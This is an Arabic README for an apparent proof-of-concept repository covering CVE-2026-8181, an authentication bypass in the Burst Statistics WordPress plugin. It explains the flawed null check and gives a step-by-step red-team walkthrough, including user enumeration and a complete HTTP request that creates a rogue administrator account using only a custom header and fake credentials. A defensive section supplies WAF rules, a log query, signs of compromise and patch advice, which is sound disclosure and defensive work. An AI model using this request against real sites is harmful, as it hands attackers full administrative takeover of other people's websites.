
Python PoC لـ CVE-2026-8181، وهو تجاوز للمصادقة حرج في إضافة Burst Statistics الخاصة بووردبريس. يتضمن أتمتة الاستغلال، الفحص الشامل، وإنشاء حساب مسؤول لاختبار الأمان المصرح به.
[!CAUTION] تنبيه بالغ الأهمية: تسمح هذه الثغرة لمهاجم عن بُعد غير موثَّق بتجاوز المصادقة والحصول على صلاحيات المسؤول الكاملة على موقع WordPress المستهدف بمجرد حقن رأس HTTP مخصص. يتم حاليًا استغلال CVE هذه بنشاط في البرية.
CVE-2026-8181 هي ثغرة خطيرة في تجاوز المصادقة تؤثر على إضافة إحصائيات Burst لووردبريس (الإصدارات من 3.4.0 إلى 3.4.1.1). يكمن الخلل في تكامل الوكيل الرئيسي (MainWP) الخاص بالإضافة. بسبب التحقق غير السليم من كلمات مرور التطبيق خلال الخطاف المبكر plugins_loaded، تمنح الإضافة بشكل غير صحيح سياقًا إداريًا لطلبات REST API التي تتضمن الرأس X-BurstMainWP: 1، حتى لو كان الطلب يفتقر إلى بيانات اعتماد صالحة.
يؤدي هذا إلى تحويل طلب HTTP بسيط وغير موثَّق إلى استيلاء كامل على صلاحيات المسؤول، متجاوزًا جميع آليات مصادقة ووردبريس القياسية.
لفهم كيف يمنح رأس بسيط مفاتيح المملكة، يجب علينا تحليل منطق PHP داخل معالج المصادقة في الإضافة.
ينبع الخلل من فرع شرطي تم التعامل معه بشكل غير صحيح في includes/Frontend/class-mainwp-proxy.php داخل طريقة is_mainwp_authenticated().
init() على plugins_loaded بأولوية 9. هذا مبكر جدًا في دورة حياة ووردبريس.X-BurstMainWP: 1، تفوّض has_admin_access() المصادقة إلى is_mainwp_authenticated().Authorization وتُمرر بيانات الاعتماد إلى الدالة الأساسية wp_authenticate_application_password().application_password_is_api_request إلى true (بسبب تنفيذ الخطاف المبكر)، فإن الدالة الأساسية تُرجع null بدلاً من كائن WP_Error.is_wp_error( $user ). نظرًا لأن null ليس WP_Error، فإن الحارس يعبر.wp_set_current_user() باستخدام اسم المستخدم الذي قدمه المهاجم، مما يرفع الطلب فورًا إلى سياق مسؤول كامل.// تمثيل مبسط للكود المعرض للخطر في Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // يعالج بشكل صحيح حالات فشل المصادقة الصريحة
}
// 🚨 الخلل القاتل 🚨
// إذا لم يتم تقديم كلمة مرور تطبيق أو لم يتم وضع علامة على طلب API بعد،
// تُرجع wp_authenticate_application_password القيمة NULL.
// يفشل الكود في التحقق من NULL!
if ( $user === null ) {
// بدلاً من الفشل بشكل آمن، يمر إلى هذا الفرع غير الآمن:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // انفجار: تم منح سياق المسؤول!
return true;
}
هذا القسم مخصص لأعضاء الفرق الحمراء ومختبرّي الاختراق المصرح لهم.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. إذا تم حظره، استخدم حيلة أرشيف المؤلف: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null، ويرفع الطلب إلى سياق المسؤول. يتم إنشاء المستخدم المسؤول الجديد.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] تحذير بيئي: يتطلب هذا الاستغلال وصول رأس
Authorizationإلى PHP.
- Nginx / LiteSpeed / Apache مع روابط جميلة (Pretty Permalinks): يتم توجيه الرأس. الاستغلال ينجح.
- Apache مع روابط عادية (Plain Permalinks) (افتراضي): يتم حذف الرأس بصمت بواسطة خادم الويب. الاستغلال يفشل.
هذا القسم مخصص للفرق الزرقاء ومحللي SOC ومديري الأنظمة.
حظر أو مراقبة الرأس المحدد عند الحافة.
قاعدة ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
قاعدة WAF مخصصة في Cloudflare:
(http.request.headers["X-BurstMainWP"] eq "1")
ابحث في سجلات خادم الويب عن وجود الرأس مقترنًا بإنشاء مستخدم عبر REST API.
استعلام Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
إذا كنت تشك في حدوث اختراق، ابحث عن هذه الآثار بعد الاستغلال:
wp_users بحثًا عن مستخدمين تم إنشاؤهم عبر REST API بدور administrator.wp-content/plugins/ بحثًا عن تحميلات غير مصرح بها (غالبًا ما تكون صدفات ويب متنكرة في صورة إضافات شرعية).wp-content/themes/ أو الملفات الأساسية.[!IMPORTANT] إجراء فوري مطلوب: إذا كنت تستخدم إصدارًا معرضًا للخطر، فقم بتطبيق أحد الإجراءات التخفيفية التالية فورًا.
| الأولوية | الإجراء | التفاصيل |
|---|---|---|
| P0 | تحديث الإضافة | قم بتحديث إحصائيات Burst إلى الإصدار 3.4.2 أو أعلى فورًا عبر لوحة تحكم ووردبريس. |
| P1 | التصحيح الافتراضي لـ WAF | إذا لم تتمكن من التحديث فورًا، فقم بنشر قواعد WAF (أعلاه) لحظر الرأس X-BurstMainWP. |
| P2 | تقييد استخراج المستخدمين | استخدم إضافة أمنية أو قواعد .htaccess لمنع الوصول العام إلى /wp-json/wp/v2/users و /?author=*. |
| P3 | تدقيق المستخدمين والملفات | قم بتشغيل برنامج نصي لتدقيق حسابات المسؤول التي تم إنشاؤها مؤخرًا وإلغاء أي وصول غير مصرح به. افحص بحثًا عن صدفات الويب. |
يحتوي هذا المستودع على CVE-2026-8181.py، وهي أداة أتمتة بلغة Python للتحقق من الثغرة في بيئات المختبر المصرح بها.